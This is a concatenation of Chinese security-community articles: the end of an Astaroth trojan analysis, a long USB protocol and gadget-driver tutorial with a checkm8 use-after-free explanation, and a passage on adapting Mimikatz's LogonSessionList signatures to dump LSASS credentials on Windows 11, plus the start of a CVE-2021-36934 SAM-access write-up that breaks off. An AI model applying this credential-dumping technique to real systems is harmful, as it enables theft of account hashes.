Explorer浏览器。为了确保被感染用户能够使用IE，恶意软件将终止其他浏览器的相关进程，例如Chrome和Firefox，并希望被感染用户能觉得这些浏览器出现了故障。当被感染用户使用IE浏览特定的巴西银行网站或商务网站时，恶意软件就会开始记录键盘键入的内容。
下图为键盘记录和外传的数据：
外传的数据采用Base64编码，经过解码后得到了一系列自定义编码的字符串，这些字符串看起来是以“/”分隔的。这些字符串可能必须要与特定字符串进行异或操作运算，因此解码可能会非常困难。
下图为外传数据：
下图为自定义编码的字符串：
## 总结
Astaroth对于南美的企业来说，存在着较大的威胁。这一木马也向网络管理员提出了一大挑战，对于许多网络管理员来说，他们似乎无法阻止或限制WMIC的使用。
和恶意Office宏一样，要防范这种基于社会工程的攻击形式，最好的方法就是加强用户的安全意识培训。 | 社区文章 |
**作者:[evilpan](https://evilpan.com/)
原文链接: <https://mp.weixin.qq.com/s/ipQD4PWP6EPydmxD6vWbMA>**
USB，全称是 [Universal Serial
Bus](https://bk.tw.lvfukeji.com/wiki/Usb)，即通用串行总线，既是一个针对电缆和连接器的工业标准，也指代其中使用的连接协议。本文不会过多介绍标准中的细节，而是从软件工程师的角度出发，介绍一些重要的基本概念，以及实际的主机和从机应用。最后作为实际案例，从
USB 协议实现的角度分析了`checkm8`漏洞的成因。
# USB 101
首先要明确的一点，USB 协议是以主机为中心的 (Host
Centric)，也就是说只有主机端向设备端请求数据后，设备端才能向主机发送数据。从数据的角度来看，开发者最直接接触的就是端点
(Endpoint)，端点可以看做是数据收发的管道。
当主机给设备发送数据时，通常流程是:
* 调用用户层 API，如 `libusb_bulk_transfer`
* 对内核的 USB 驱动执行对应系统调用，添加发送队列，如 `ioctl(IOCTL_USBFS_SUBMITURB)`
* 内核驱动中通过 HCI 接口向 USB 设备发送请求+数据
* 数据发送到设备端的 Controller -> HCI -> Host
设备给主机发送请求也是类似，只不过由于是主机中心，发送的数据会保存在缓存中，等待主机发送 IN TOKEN
之后才真正发送到主机。在介绍数据发送流程之前，我们先来看下描述符。
## 描述符
所有的 USB 设备端设备，都使用一系列层级的描述符 (Descriptors) 来向主机描述自身信息。这些描述符包括:
* **Device Descriptors** : 设备描述
* **Configuration Descriptors** : 配置描述
* **Interface Descriptors** : 接口描述
* **Endpoint Descriptors** : 端点描述
* **String Descriptors** : 字符串描述
它们之间的层级结构关系如下:
每种描述符都有对应的数据结构，定义在标准中的第九章，俗称 ch9。下面以 Linux 内核的实现为例来简要介绍各个描述符，主要参考头文件
**include/uapi/linux/usb/ch9.h** 。
### 设备描述
每个 USB 设备只能有一个设备描述(Device Descriptor)，该描述符中包括了设备的 USB 版本、厂商、产品 ID
以及包含的配置描述符个数等信息，如下所示:
/* USB_DT_DEVICE: Device descriptor */
struct usb_device_descriptor {
__u8 bLength; // 18 字节
__u8 bDescriptorType; // 0x01
__le16 bcdUSB; // 设备所依从的 USB 版本号
__u8 bDeviceClass; // 设备类型
__u8 bDeviceSubClass; // 设备子类型
__u8 bDeviceProtocol; // 设备协议
__u8 bMaxPacketSize0; // ep0 的最大包长度，有效值为 8，6，32，64
__le16 idVendor; // 厂商号
__le16 idProduct; // 产品号
__le16 bcdDevice; // 设备版本号
__u8 iManufacturer; // 产商字名称
__u8 iProduct; // 产品名称
__u8 iSerialNumber; // 序列号
__u8 bNumConfigurations; // 配置描述符的个数
} __attribute__ ((packed));
#define USB_DT_DEVICE_SIZE 18
每个字段的含义都写在注释中了，其中有几点值得一提。
* 设备类型、子类型和协议码，是由 USB 组织定义的；
* 产商号也是由 USB 组织定义的，但是产品号可以由厂商自行定义；
* 厂商、产品和序列号分别只有 1 字节，表示在字符串描述符中的索引；
> BCD: binary- coded decimal
### 配置描述
每种不同的配置描述(Configuration Descriptor)中分别指定了 USB 设备所支持的配置，如功率等信息；一个 USB
设备可以包含多个配置，但同一时间只能有一个配置是激活状态。实际上大部分的 USB 设备都只包含一个配置描述符。
/* USB_DT_CONFIG: Configuration descriptor information.
*
* USB_DT_OTHER_SPEED_CONFIG is the same descriptor, except that the
* descriptor type is different. Highspeed-capable devices can look
* different depending on what speed they're currently running. Only
* devices with a USB_DT_DEVICE_QUALIFIER have any OTHER_SPEED_CONFIG
* descriptors.
*/
struct usb_config_descriptor {
__u8 bLength; // 9
__u8 bDescriptorType; // 0x02
__le16 wTotalLength; // 返回数据的总长度
__u8 bNumInterfaces; // 接口描述符的个数
__u8 bConfigurationValue; // 当前配置描述符的值 (用来选择该配置)
__u8 iConfiguration; // 该配置的字符串信息 (在字符串描述符中的索引)
__u8 bmAttributes; // 属性信息
__u8 bMaxPower; // 最大功耗，以 2mA 为单位
} __attribute__ ((packed));
#define USB_DT_CONFIG_SIZE 9
当主设备读取配置描述的时候，从设备会返回该配置下所有的其他描述符，如接口、端点和字符串描述符，因此需要 **wTotalLength**
来表示返回数据的总长度。
**bmAttributes** 指定了该配置的电源参数信息，D6 表示是否为自电源驱动；D5 表示是否支持远程唤醒；D7 在 USB1.0
中曾用于表示是否为总线供电的设备，但是在 USB2.0 中被 **bMaxPower** 字段取代了，该字段表示设备从总线上消耗的电压最大值，以 2mA
为单位，因此最大电流大约是 `0xff * 2mA = 510mA`。
### 接口描述
一个配置下有多个接口，可以看成是一组相似功能的端点的集合，每个接口描述符的结构如下:
/* USB_DT_INTERFACE: Interface descriptor */
struct usb_interface_descriptor {
__u8 bLength;
__u8 bDescriptorType; // 0x04
__u8 bInterfaceNumber; // 接口序号
__u8 bAlternateSetting;
__u8 bNumEndpoints;
__u8 bInterfaceClass;
__u8 bInterfaceSubClass;
__u8 bInterfaceProtocol;
__u8 iInterface; // 接口的字符串描述，同上
} __attribute__ ((packed));
#define USB_DT_INTERFACE_SIZE 9
其中接口类型、子类型和协议与前面遇到的类似，都是由 USB 组织定义的。在 Linux 内核中，每个接口封装成一个高层级的功能，即逻辑链接(Logical
Connection)，例如对 USB 摄像头而言，接口可以分为视频流、音频流和键盘(摄像头上的控制按键)等。
还有值得一提的是 **bAlternateSetting** ，每个 USB 接口都可以有不同的参数设置，例如对于音频接口可以有不同的带宽设置。实际上
Alternate Settings 就是用来控制周期性的端点参数的，比如 isochronous endpoint。
### 端点描述
端点描述符用来描述除了零端点(ep0)之外的其他端点，零端点总是被假定为控制端点，并且在开始请求任意描述符之前就已经被配置好了。端点(Endpoint)，可以认为是一个单向数据信道的抽象，因此端点描述符中包括传输的速率和带宽等信息，如下所示:
/* USB_DT_ENDPOINT: Endpoint descriptor */
struct usb_endpoint_descriptor {
__u8 bLength;
__u8 bDescriptorType; // 0x05
__u8 bEndpointAddress; // 端点地址
__u8 bmAttributes; // 端点属性
__le16 wMaxPacketSize; // 该端点收发的最大包大小
__u8 bInterval; // 轮询间隔，只对 Isochronous 和 interrupt 传输类型的端点有效 (见下)
/* NOTE: these two are _only_ in audio endpoints. */
/* use USB_DT_ENDPOINT*_SIZE in bLength, not sizeof. */
__u8 bRefresh;
__u8 bSynchAddress;
} __attribute__ ((packed));
#define USB_DT_ENDPOINT_SIZE 7
#define USB_DT_ENDPOINT_AUDIO_SIZE 9 /* Audio extension */
**bEndpointAddress** 8位数据分别代表:
* Bit 0-3: 端点号
* Bit 4-6: 保留，值为0
* Bit 7: 数据方向，0 为 OUT，1 为 IN
**bmAttributes** 8位数据分别代表:
**Bit 0-1: 传输类型**
\- 00: Control
\- 01: Isochronous
\- 10: Bulk
\- 11: Interrupt
**Bit 2-7: 对非 Isochronous 端点来说是保留位，对 Isochronous 端点而言表示 Synchronisation Type 和
Usage Type，不赘述；**
每种端点类型对应一种传输类型，详见后文。
### 字符串描述
字符串描述符(String Descriptor)中包含了可选的可读字符串信息，如果没提供，则前文所述的字符串索引应该都设置为0，字符串表结构如下:
/* USB_DT_STRING: String descriptor */
struct usb_string_descriptor {
__u8 bLength;
__u8 bDescriptorType; // 0x03
__le16 wData[1]; /* UTF-16LE encoded */
} __attribute__ ((packed));
/* note that "string" zero is special, it holds language codes that
* the device supports, not Unicode characters.
*/
字符串表中的字符都以 [Unicode](http://www.unicode.org/) 格式编码，并且可以支持多种语言。0号字符串表较为特殊，其中
wData 包含一组所支持的语言代码，每个语言码为 2 字节，例如 0x0409 表示英文。
## 传输
不像 RS-232 和其他类似的串口协议，USB 实际上由多层协议构造而成，不过大部分底层的协议都在 Controller
端上的硬件或者固件进行处理了，最终开发者所要关心的只有上层协议。
### USB Packet
在 HCI 之下，实际传输的数据包称为 Packet，每次上层 USB 传输都会涉及到 2-3 次底层的 Packet 传输，分别是:
**Token Packet: 总是由主机发起，指示一次新的传输或者事件**
\- In: 告诉 USB 设备，主机我想要读点信息
\- Out: 告诉 USB 设备，主机我想要写点信息
\- Setup: 用于开始 Control Transfer
**Data Packet: 可选，表示传输的数据，可以是主机发送到设备，也可以是设备发送到主机**
\- Data0
\- Data1
**Status Packet: 状态包，用于响应传输，以及提供纠错功能**
\- Handshake Packets: ACK/NAK/STALL
\- Start of Frame Packets
### Transfer
基于这些底层包，USB 协议定义了四种不同的传输类型，分别对应上节中的四种端点类型，分别是:
**Control Transfers** : 主要用来发送状态和命令，比如用来请求设备、配置等描述以及选择和设置指定的描述符。只有控制端点是双向的。
**Interrupt Transfers** : 由于 USB
协议是主机主导的，设备端的中断信息需要被及时响应，就要用到中断传输，其提供了有保证的延迟以及错误检测和重传功能。中断传输通常是非周期性的，并且传输过程保留部分带宽，常用于时间敏感的数据，比如键盘、鼠标等
HID 设备。
**Isochronous Transfers** :
等时传输，如其名字所言，该类传输是连续和周期性的，通常包含时间敏感的信息，比如音频或视频流。因此这类传输不保证到达，即没有 ACK 响应。
**Bulk Transfers** :
用于传输大块的突发数据(小块也可以)，不保留带宽。提供了错误校验(CRC16)和重传机制来保证传输数据的完整性。块传输只支持高速/全速模式。
这里以控制传输(Control Transfers)为例，来看看底层 Packet
如何组成一次完整的传输。控制传输实际上又可能最多包含三个阶段，每个阶段在应用层可以看成是一次 “USB 传输” (在Wireshark中占一行)，分别是:
**Setup Stage: 主机发送到设备的请求，包含三次底层数据传输**
1.Setup Token Packet: 指定地址和端点号(应为0)
2.Data0 Packet: 请求数据，假设是 8 字节的 `Device Descriptor Request`
3.STALL 或者 NAK 来响应 Setup Packet
**Data Stage: 可选阶段，包含一个或者多个 IN/OUT 传输，以 IN 为例，也包含三次传输**
1.IN Token Packet: 表示主机端要从设备端读数据
2.Datax Packet: 如果上面 Setup Stage 是 `Device Descriptor Request`， 这里返回 `Device
Descriptor Response` (的前8字节，然后再根据实际长度再 IN 一次)。
3.ACK/STALL/NAK Status Packet
**Status Stage: 报告本次请求的状态，底层也是三次传输，但是和方向有关:**
如果在 Data Stage 发送的是 IN Token，则该阶段包括:
1.OUT Token
2.Data0 ZLP(zero length packet): 主机发送长度为0的数据
3.ACK/NACK/STALL: 设备返回给主机
如果在 Data Stage 发送的是 OUT Token，则该阶段包括:
1.IN Token
2.Data0 ZLP: 设备发送给主机，表示正常完成，否则发送 NACK/STALL
3.ACK: 如果是 ZLP，主机响应设备，双向确认
每个阶段的数据都有自己的格式，例如 Setup Stage 的 Request，即 Data0 部分发送的 8 字节数据结构如下:
struct usb_ctrlrequest {
__u8 bRequestType; // 对应 USB 协议中的 bmRequestType，包含请求的方向、类型和指定接受者
__u8 bRequest; // 决定所要执行的请求
__le16 wValue; // 请求参数
__le16 wIndex; // 同上
__le16 wLength; // 如果请求包含 Data Stage，则指定数据的长度
} __attribute__ ((packed));
下面是一些标准请求的示例:
bmRequestType | bRequest | wValue | wIndex | wLength | Data
---|---|---|---|---|---
1000 0000b | GET_STATUS (0x00) | Zero | Zero | Two | Device Status
0000 0000b | CLEAR_FEATURE (0x01) | Feature Selector | Zero | Zero | None
0000 0000b | SET_FEATURE (0x03) | Feature Selector | Zero | Zero | None
0000 0000b | SET_ADDRESS (0x05) | Device Address | Zero | Zero | None
1000 0000b | GET_DESCRIPTOR (0x06) | Descriptor Type & Index | Zero or
Language ID | Descriptor Length | Descriptor
0000 0000b | SET_DESCRIPTOR (0x07) | Descriptor Type & Index | Zero or
Language ID | Descriptor Length | Descriptor
1000 0000b | GET_CONFIGURATION (0x08) | Zero | Zero | 1 | Configuration Value
0000 0000b | SET_CONFIGURATION (0x09) | Configuration Value | Zero | Zero |
None
> ref: <https://www.beyondlogic.org/usbnutshell/usb6.shtml>
虽然 HCI 之下传输的数据包大部分情况下对应用开发者透明，但是了解底层协议发生了什么也有助于加深我们对 USB 的理解，后文中介绍 checkm8
漏洞时候就用到了相关知识。
# 主机端
在主机端能做的事情相对有限，主要是分析和使用对应的 USB 设备。
## 抓包分析
使用 wireshark 可以分析 USB 流量，根据上面介绍的描述符字段以及 USB 传输过程进行对照，可以加深我们对 USB
协议的理解。如下是对某个安卓设备的 _Device Descriptor Response_ 响应:
也就是所谓安卓变砖恢复时经常用到的高通 9008 模式。说个题外话，最近对于高通芯片 BootROM
的研究发现了一些有趣的东西，后面可能会另外分享，Stay Tune！
## 应用开发
对于应用开发者而言，通常是使用封装好的库，早期只有 libusb，后来更新了 libusb1.0，早期的版本变成 libusb0.1，然后又有了
[OpenUSB](http://sourceforge.net/p/openusb/wiki/Home/) 和其他的 USB
库。但不管用哪个库，调用的流程都是大同小异的。以 Python 的封装 pyusb 为例，官方给的示例如下:
import usb.core
import usb.util
# find our device
dev = usb.core.find(idVendor=0xfffe, idProduct=0x0001)
# was it found?
if dev is None:
raise ValueError('Device not found')
# set the active configuration. With no arguments, the first
# configuration will be the active one
dev.set_configuration()
# get an endpoint instance
cfg = dev.get_active_configuration()
intf = cfg[(0,0)]
ep = usb.util.find_descriptor(
intf,
# match the first OUT endpoint
custom_match = \
lambda e: \
usb.util.endpoint_direction(e.bEndpointAddress) == \
usb.util.ENDPOINT_OUT)
assert ep is not None
# write the data
ep.write('test')
总的来说分为几步，
1. 根据设备描述符查找到指定的设备
2. 获取该设备的配置描述符，选择并激活其中一个
3. 在指定的配置中查找接口和端点描述符
4. 使用端点描述符进行数据传输
如果不清楚 USB 的工作原理，会觉得上面代码的调用流程很奇怪，往 USB 上读写数据需要那么复杂吗？但正是因为 USB
协议的高度拓展性，才得以支持这么多种类的外设，从而流行至今。
# 设备端
对于想要开发设备端 USB 功能的开发者而言，使用最广泛的要数 **树莓派 Zero** 了，毕竟这是树莓派系列中唯一支持 USB OTG
的型号。网上已经有很多资料教我们如何将树莓派 Zero 配置成 USB 键盘、打印机、网卡等 USB 设备的教程。当然使用其他硬件也是可以的，配置自定义的
USB 设备端可以让我们做很多有趣的事情，比如网卡中间人或者 Bad USB 这种近源渗透方式。后文中我们会使用 Zero 进行简单测试。
一些相关的配置资料可以参考:
* <https://github.com/RoganDawes/P4wnP1>
* [Using RPi Zero as a Keyboard](https://www.rmedgar.com/blog/using-rpi-zero-as-keyboard-setup-and-device-definition)
## 内核驱动
在介绍应用之间，我们先看看内核的实现。还是以 Linux 内核为例，具体来说，我们想了解如何通过添加内核模块的方式实现一个新的自定义 USB
设备。俗话说得好，添加 Linux 驱动的最好方式是参看现有的驱动，毕竟当前内核中大部分都是驱动代码。
因为 Linux 内核既能运行在主机端，也能运行在设备端，因此设备端的 USB 驱动有个不同的名字: **gadget**
driver。对于不同设备，也提供不同的内核接口，即 Host-Side API 和 Gadget API。既然我们是想实现自己的设备，就需要从
gadget 驱动入手。
`g_zero.ko` 就是这么一个驱动，代码在 _drivers/usb/gadget/legacy/zero.c_ 。该驱动实现了一个简单的 USB
设备，包含 2 个配置描述，各包含 1 个功能，分别是 sink 和 loopback，前者接收数据并返回 0，后者接收数据并原样返回:
* _drivers/usb/gadget/function/f_sourcesink.c_
* _drivers/usb/gadget/function/f_loopback.c_
代码量不多，感兴趣的自行 RTFSC。另外值得一提的是，对于运行于 USB device 端的系统而言，内核中至少有三个层级处理 USB
协议，可能用户层还有更多。gadget API 属于三层的中间层。至底向上，三层分别是:
1. _USB Controller Driver_ : 这是软件的最底层，通过寄存器、FIFO、DMA、IRQ 等其他手段直接和硬件打交道，通常称为 `UDC` (USB Device Controller) Driver。
2. _Gadget Driver_ : 作为承上启下的部分，通过调用抽象的 UDC 驱动接口，底层实现了硬件无关的 USB function。主要用于实现前面提到的 USB 功能，包括处理 setup packet (ep0)、返回各类描述符、处理各类修改配置情况、处理各类 USB 事件以及 IN/OUT 的传输等等。
3. _Upper Level_ : 通过 Gadget Driver 抽象的接口，实现基于 USB 协议的上层应用，比如 USB 网卡、声卡、文件存储、HID 设备等。
关于 Linux USB 子系统的详细设计结构，可以参考源码中的文档: [Linux USB
API](https://www.kernel.org/doc/html/v4.18/driver-api/usb/index.html)
，以及其他一些资料，如下所示:
* <https://bootlin.com/doc/legacy/linux-usb/linux-usb.pdf>
* <https://static.lwn.net/images/pdf/LDD3/ch13.pdf>
* <https://elinux.org/images/5/5e/Opasiak.pdf>
## GadgetFS/ConfigFS
参考现有的 Linux 驱动，依葫芦画瓢可以很容易实现一个自定义的 USB
Gadget。但是这样存在一些问题，如果我想实现一个八声道的麦克风，还要重新写一遍驱动、编译、安装，明明内核中麦克风的功能已经有了，复制粘贴就显得很不优雅。
那么，有没有什么办法可以方便组合和复用现有的 gadget function 呢？在 Linux 3.11 中，引入了 USB Gadget
ConfigFS，提供了用户态的 API 来方便创建新的 USB 设备，并可以组合复用现有内核中的驱动。
前文提到的基于树莓派 Zero 实现的各类 USB 设备，大部分都是基于 Gadget ConfigFS 接口实现的。基于 configfs 创建 USB
gadget 的步骤一般如下:
CONFIGFS_HOME=/sys/kernel/config/usb_gadget
# 1. 新建一个 gadget，并写入实际的设备描述
mkdir $CONFIGFS_HOME/mydev # 创建设备目录后，该目录下自动创建并初始化了一个设备模板
cd $CONFIGFS_HOME/mydev
echo 0x0100 > bcdDevice # Version 1.0.0
echo 0x0200 > bcdUSB # USB 2.0
echo 0x00 > bDeviceClass
echo 0x00 > bDeviceProtocol
echo 0x40 > bMaxPacketSize0
echo 0x0104 > idProduct # Multifunction Composite Gadget
echo 0x1d6b > idVendor # Linux Foundation
# 2. 新建一个配置，并写入实际的配置描述
mkdir configs/c.1 # 创建一个配置实例: <config name>.<config number>
cd configs/c.1
echo 0x01 > MaxPower
echo 0x80 > bmAttributes
# 3. 新建一个接口(function)，或者将已有接口链接到当前配置下
cd $CONFIGFS_HOME/mydev
mkdir functions/hid.usb0 # 创建一个 function 实例: <function type>.<instance name>
echo 1 > functions/hid.usb0/protocol
echo 8 > functions/hid.usb0/report_length # 8-byte reports
echo 1 > functions/hid.usb0/subclass
ln -s functions/hid.usb0 configs/c.1
# 4. 将当前 USB 设备绑定到 UDC 驱动中
echo ls /sys/class/udc > $CONFIGFS_HOME/mydev/UDC
这样就实现了一个最简单的 USB gadget，当然要完整实现的话还可以添加字符串描述，以及增加各个端点的功能。使用 configfs 实现一个 USB
键盘的示例可以参考网上其他文章，比如 [Using RPi Zero as a Keyboard][kb]，或者 Github 上的开源项目，比如
[P4wnP1](https://github.com/RoganDawes/P4wnP1)。
有些人觉得 ConfigFS 配置起来很繁琐，所以开发了一些函数库(如 [libusbgx][libusbgx]) 来通过调用创建
gadget；有人觉得通过函数操作也还是繁琐，就创建了一些工具(如 [gt](https://github.com/kopasiak/gt))
来通过处理一个类似于 libconfig 的配置文件直接创建 gadget，不过笔者用得不多。
## FunctionFS
FunctionFS 最初是对 GadgetFS 的重写，用于支持实现用户态的 gadget function，并组合到现有设备中。这里说的
FunctionFS 实际上是新版基于 ConfigFS 的 GadgetFS 拓展。在上一节中说到创建设备 gadget 的第四步就是给对应的
configuration 添加 function，格式为 **function—type.instance-name** ，type
对应一个已有的内核驱动，比如上节中是 `hid`。
如果要使用当前内核中没有的 function 实现自定义的功能，那么内核还提供了一个驱动可以方便在用户态创建接口，该驱动就是 ffs 即
FunctionFS。使用 ffs 的方式也很简单，将上面第三步替换为:
cd $CONFIGFS_HOME/mydev
mkdir functions/ffs.usb0
ln -s functions/ffs.usb0 configs/c.1
创建一个类型为 ffs，名称为 usb0 的function，然后挂载到任意目录:
cd /mnt
mount usb0 ffs -t functionfs
挂载完后， _/mnt/ffs/_ 目录下就已经有了一个 ep0 文件，如名字所言正是 USB 设备的零端点，用于收发 Controller
Transfer 数据以及各类事件。在该目录中可以创建其他的端点，并使用类似文件读写的操作去实现端点的读写，内核源码中提供了一个用户态应用示例，代码在
_tools/usb/ffs-test.c_ 。如果嫌 C 代码写起来复杂，还可以使用 Python 编写 ffs 实现，比如 [python-functionfs](https://github.com/vpelletier/python-functionfs)。
# 案例分析: checkm8 漏洞
checkm8 漏洞就不用过多介绍了，曾经的神洞，影响了一系列苹果设备，存在于 BootROM 中，不可通过软件更新来修复，一度 Make iOS
Jailbreak Great Again。当然现在可以通过 SEP 的检查来对该漏洞进行缓解，这是后话。
关于 checkm8 的分析已经有很多了，我们就不再鹦鹉学舌，更多是通过 checkm8 的成因，来从漏洞角度加深对 USB device 开发的理解。
checkm8 漏洞发生在苹果的救砖模式 DFU (Device Firmware Upgrade)，即通过 USB 向苹果设备刷机的协议。该协议是基于
USB 协议的一个拓展，具体来说:
* 基于 USB Control Transfer
* bmRequestType[6:5] 为 0x20，即 **Type** 为 Class
* bmRequestType[4:0] 为 0x01，即 **Recipient** 为 Interface
* bRequest 为 DFU 相关操作，比如 Detach、Download、Upload、GetStatus、Abort 等
DFU 接口初始化的代码片段如下:
Control Transfer 主要是在 ep0 上传输，因此 ep0 的读写回调中就会根据收到的数据来派发到不同的 handler，对于 DFU
协议的分发伪代码如下:
static byte *data_buf;
static size_t data_rcvd;
static size_t data_size;
static struct usb_ctrlrequest setup_request;
void handle_ctr_transfer_recv(byte *buf, int len, int *p_stage, int is_setup) {
*p_stage = 0;
if (!is_setup) {
handle_data_recv(buf, len, p_stage);
}
// handle control request
memcpy(&setup_request, buf, 8);
switch(setup_request.bRequestType & 0x60) {
case STANDARD:
// ...
case VENDOR:
// ...
case CLASS:
if (setup_request.bRequestType & 0x1f == INTERFACE) {
int n = intf_handlers[setup_request.wIndex]->handle_request(&setup_request, &data_buf);
if (n > 0) {
data_size = n;
}
}
default:
// ...
}
}
其中 intf_handlers 是 usb_core_regisger_interface 函数中添加到的的全局函数数组。handle_reuqest
中传入的是一个指针的指针，并在处理函数中复制为 io_buffer 的地址。而开头的 data stage 阶段，内部实现就是将收到的数据拷贝到
data_buf 即 io_buffer 中。
io_buffer 一直是有效的吗？并不尽然，因为 io_buffer 在 DFU 退出阶段会被 free 释放掉，此后 data_buf
仍然持有着无效指针，就构成了一个典型的 UAF 场景，这正是 checkm8
的漏洞所在。至于如何触发以及如何构造利用，可以需要额外的篇幅去进行介绍，感兴趣的朋友可以参考文末的文章。
从 checkm8 漏洞中我们可以看到出现漏洞的根本成因:
* 大量使用全局变量
* 在处理 USB 内部状态机出现异常时，没有充分清除全局变量的值，比如只将 io_buffer 置零而没有将 data_buf 置零
* 在重新进入状态机时，全局变量仍然有残留，导致进入异常状态或者处理异常数据
网上有人评论说这么简单的漏洞为什么没有通过自动化测试发现出来，个人感觉这其实涉及到模糊测试的两大难题:
一是针对 stateful 的数据测试，每增加一种内部状态，测试的分支就成指数级别增长，从而增加了控制流覆盖到目标代码的难度；
二是硬件依赖，要测试这个 USB 状态机，需要 mock 出底层的驱动接口，工作量和写一个新的 USB 驱动差不多，更不用说 DFU
本身还会涉及存储设备的读写，这部分接口是不是也要模拟？
因此这类漏洞的更多是通过代码审计发现出来，不过厂商又执着于 **Security by Obsecurity**
，这就导致投入的更多是利益驱动的组织，对个人用户安全而言并不算是件好事。如果 iBoot 开源，那么估计这个漏洞早就被提交给苹果
SRC，成本也就几千欢乐豆的事，也不至于闹出这么大的舆情，甚至以 checkm8 为跳板，把 SEPOS 也撸了个遍。
# 后记
本文是最近对 USB 相关的一些学习记录，虽然文章是从前往后写的，但实际研究却是从后往前做的。即先看到了网上分析 checkm8 的文章，为了复现去写一个
USB 设备，然后再去学习 USB 协议的细节，可以算是个 Leaning By Hacking
的案例吧。个人感觉这种方式前期较为痛苦，但后期将点连成线之后还是挺醍醐灌顶的，也算是一种值得推荐的研究方法。
# 参考资料
* [USB in a NutShell](https://www.beyondlogic.org/usbnutshell/usb1.shtml)
* [USB and the Real World](https://elinux.org/images/a/ae/Ott--usb_and_the_real_world.pdf)
* [pyusb/pyusb](https://github.com/pyusb/pyusb/blob/master/docs/tutorial.rst)
* [Linux USB API](https://www.kernel.org/doc/html/v4.18/driver-api/usb/index.html)
* [Kernel USB Gadget Configfs Interface](https://www.elinux.org/images/e/ef/USB_Gadget_Configfs_API_0.pdf)
* [Technical analysis of the checkm8 exploit](https://habr.com/en/company/dsec/blog/472762/)
* * * | 社区文章 |
Windows 11 上 **sekurlsa** 模块无法正常抓取密码哈希，报错如图
### 猜测产生问题的原因
#### 1\. admin权限无法直接从lsass.exe进程内存中直接获取密码哈希
**尝试解决方法：**
1.将进程内存dump下来，然后再使用mimikatz分析dmp文件
2.提升权限至 _trustedinstaller_ 再执行 `sekurlsa::logonpasswords`
两种方法试了很多次都会报错，在尝试解决的中，发现在windows 11中dump出的进程内存，在windows
10上也无法分析，所以应该是方向错了。这里大概率是无法正确寻址到存储密码的内存地址。
#### 2\. Mimikatz对lsass进程的解析过程的问题
##### **sekurlsa** 模块的原理
1. 读取LSASS.exe进程中LSASRV.dll模块的内存
2. 找到LSASRV.dll中的两个全局变量`LogonSessionList`和`LogonSessionListCount`这两结构用于存储当前活动的 Windows 登录会话列表
**Mimikatz寻找两个结构的方法：** 由于都是全局变量，可以采取启发式方法来识别引用这些全局变量的指令。这些指令通过 **rip**
相对寻址来访问与使用全局变量。还需要保存两个全局变量相对特征码的偏移
##### IDA分析Lsasrv.dll
找到这两个全局变量，将中间不变的机器码当做内存特征。
##### mimikatz源码中存储特征码的结构
#elif defined(_M_X64)
BYTE PTRN_WIN5_LogonSessionList[] = {0x4c, 0x8b, 0xdf, 0x49, 0xc1, 0xe3, 0x04, 0x48, 0x8b, 0xcb, 0x4c, 0x03, 0xd8};
BYTE PTRN_WN60_LogonSessionList[] = {0x33, 0xff, 0x45, 0x85, 0xc0, 0x41, 0x89, 0x75, 0x00, 0x4c, 0x8b, 0xe3, 0x0f, 0x84};
BYTE PTRN_WN61_LogonSessionList[] = {0x33, 0xf6, 0x45, 0x89, 0x2f, 0x4c, 0x8b, 0xf3, 0x85, 0xff, 0x0f, 0x84};
BYTE PTRN_WN63_LogonSessionList[] = {0x8b, 0xde, 0x48, 0x8d, 0x0c, 0x5b, 0x48, 0xc1, 0xe1, 0x05, 0x48, 0x8d, 0x05};
BYTE PTRN_WN6x_LogonSessionList[] = {0x33, 0xff, 0x41, 0x89, 0x37, 0x4c, 0x8b, 0xf3, 0x45, 0x85, 0xc0, 0x74};
BYTE PTRN_WN1703_LogonSessionList[] = {0x33, 0xff, 0x45, 0x89, 0x37, 0x48, 0x8b, 0xf3, 0x45, 0x85, 0xc9, 0x74};
BYTE PTRN_WN1803_LogonSessionList[] = {0x33, 0xff, 0x41, 0x89, 0x37, 0x4c, 0x8b, 0xf3, 0x45, 0x85, 0xc9, 0x74};
KULL_M_PATCH_GENERIC LsaSrvReferences[] = {
{KULL_M_WIN_BUILD_XP, {sizeof(PTRN_WIN5_LogonSessionList), PTRN_WIN5_LogonSessionList}, {0, NULL}, {-4, 0}},
{KULL_M_WIN_BUILD_2K3, {sizeof(PTRN_WIN5_LogonSessionList), PTRN_WIN5_LogonSessionList}, {0, NULL}, {-4, -45}},
{KULL_M_WIN_BUILD_VISTA, {sizeof(PTRN_WN60_LogonSessionList), PTRN_WN60_LogonSessionList}, {0, NULL}, {21, -4}},
{KULL_M_WIN_BUILD_7, {sizeof(PTRN_WN61_LogonSessionList), PTRN_WN61_LogonSessionList}, {0, NULL}, {19, -4}},
{KULL_M_WIN_BUILD_8, {sizeof(PTRN_WN6x_LogonSessionList), PTRN_WN6x_LogonSessionList}, {0, NULL}, {16, -4}},
{KULL_M_WIN_BUILD_BLUE, {sizeof(PTRN_WN63_LogonSessionList), PTRN_WN63_LogonSessionList}, {0, NULL}, {36, -6}},
{KULL_M_WIN_BUILD_10_1507, {sizeof(PTRN_WN6x_LogonSessionList), PTRN_WN6x_LogonSessionList}, {0, NULL}, {16, -4}},
{KULL_M_WIN_BUILD_10_1703, {sizeof(PTRN_WN1703_LogonSessionList), PTRN_WN1703_LogonSessionList}, {0, NULL}, {23, -4}},
{KULL_M_WIN_BUILD_10_1803, {sizeof(PTRN_WN1803_LogonSessionList), PTRN_WN1803_LogonSessionList}, {0, NULL}, {23, -4}},
{KULL_M_WIN_BUILD_10_1903, {sizeof(PTRN_WN6x_LogonSessionList), PTRN_WN6x_LogonSessionList}, {0, NULL}, {23, -4}},
};
确定特征码如图
分别添加下面两项：
`BYTE PTRN_new_LogonSessionList[] = {0x45, 0x89, 0x34, 0x24, 0x4c, 0x8b, 0xff,
0x8b, 0xf3, 0x45, 0x85, 0xc0, 0x74};`
`{KULL_M_WIN_BUILD_11, {sizeof(PTRN_new_LogonSessionList),
PTRN_new_LogonSessionList}, {0, NULL}, {24, -4}},`
这里 24和-4 是指从签名起始地址到 **偏移的地址** 的偏移
##### 修改源码后编译运行
**验证NTLM** **hash**
！
### cve-2021-36934
在解决问题的过程中，我在翻阅mimikatz作者的最近的推特，想看看他有没有在windows 11上运行mimikatz，可能会给我一些提示。发现他在
**windows 11** 用 **mimikatz** 上复现了最新的提权漏洞，展示了对SAM文件的访问，获取NTML hash。
学习一下
#### 漏洞描述
由于对多个系统文件（包括安全帐户管理器 (SAM) 数据库）的访问控制列表 (ACL)
过于宽松，因此存在特权提升漏洞，成功利用此漏洞可以将普通用户权限提升至SYSTEM权限并在目标机器上执行任意代码。
#### 漏洞利用
##### 前提：开启VSS卷影复制服务（默认开启）
`lsadump::sam
